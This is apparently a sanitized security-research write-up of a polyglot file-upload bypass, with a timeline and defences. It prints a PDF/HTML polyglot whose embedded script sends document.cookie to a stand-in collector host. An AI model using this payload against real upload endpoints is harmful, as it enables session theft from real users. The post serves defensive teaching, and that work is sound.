SECURE_NODE // ATHENS_GR
← BACK TO RESEARCH Technique · File Upload

Polyglot File Upload Bypass

10 JUN 2026| ≈ 3 MIN READ| UploadPolyglotXSS
SANITIZED ▸ Methodology only. No client name, real host, real data, or live finding. The upload flow below is reproduced against a throwaway lab app with placeholder values.

File-upload validation tends to be written once and trusted forever. A handler checks the extension, maybe sniffs the first few bytes, decides the file is "a PDF", and stores it. The problem is that "starts with PDF magic bytes" and "is only a PDF" are not the same claim — and a polyglot file lives in exactly that gap.

FINAL SEVERITY
Medium
stored, then client-side
ATTACK COMPLEXITY
Low
craft once, upload
KEY FLAW
Magic-byte only
content never parsed

Two checks, both bypassable

The document-submission endpoint guarded uploads in two ways. A client-side extension check rejected disallowed types before the request left the browser — useful as UX, skippable via a proxy in seconds. A server-side magic-byte check validated only the first few bytes: lead with %PDF-1.7 and the server is satisfied it received a PDF, without ever parsing the rest. Magic-byte validation answers "does this begin like a PDF?" — an attacker only needs to make the file also be something else.

The polyglot trick

A polyglot is a single file that is valid under two formats at once. Here the file opens with a PDF header to pass the byte check, but the bytes that follow are a complete HTML document with a script in it. When the file is later opened or rendered in a browser context, the browser ignores the PDF framing and runs the HTML:

%PDF-1.7
1 0 obj
<< /Type /Catalog >>
endobj
%% --- the bytes above satisfy the server's "is it a PDF?" magic check ---

<html>
  <body>
    <script>
      /* lab-only proof: runs in the app's origin when the file is viewed */
      fetch('https://collector.lab.example.test/x?c=' + document.cookie);
    </script>
  </body>
</html>
%%EOF

Uploaded as application/pdf with a .pdf name, this sails through both checks. Storage alone is not impact — the finding matters because of how the file comes back out. When the application later serves the stored file inline, the browser performs content sniffing, sees an HTML document, and executes the script. If that happens from the application's own origin, the script runs with the victim's session: read the page, lift tokens, exfiltrate.

The test timeline

T+0:00 — RECON

Found an authenticated upload. A case-attachment form accepted documents from any logged-in user and stored them server-side.

T+0:04 — PROBE

Mapped the controls. A benign .html was blocked client-side; an EICAR test file slipped past, showing no real content inspection on the server.

T+0:10 — BYPASS

Crafted a PDF/HTML polyglot. Leading %PDF magic bytes satisfied the server check; the client-side filter was skipped via the proxy. The file was accepted as a PDF.

T+0:18 — EXECUTE

Triggered the script. Rendered in a browser context the file ran as HTML — stored cross-site scripting in the application's origin, confirmed against a lab collector.

T+0:25 — REPORT

Documented the chain. Both bypassed checks, the polyglot, and the execution path captured with request/response evidence and a remediation set.

Defending uploads

  • Validate content, not the first four bytes. Parse the file with a real library for its claimed type and reject anything that does not fully conform — magic-byte sniffing is a hint, not a gate.
  • Never trust client-side checks. Treat browser-side validation as UX only; enforce everything again on the server.
  • Force download, don't render. Serve user files with Content-Disposition: attachment and an explicit, non-sniffable Content-Type plus X-Content-Type-Options: nosniff.
  • Isolate the origin. Serve uploads from a separate, cookieless domain so a rendered file can't reach an authenticated session.

The takeaway

A type check that reads only the header is asking the file to introduce itself and then believing whatever it says. Polyglots exist precisely because formats are forgiving about what comes after their magic bytes. If your upload pipeline never actually parses the whole file, it isn't validating the file — it's validating the first line of a story the attacker wrote.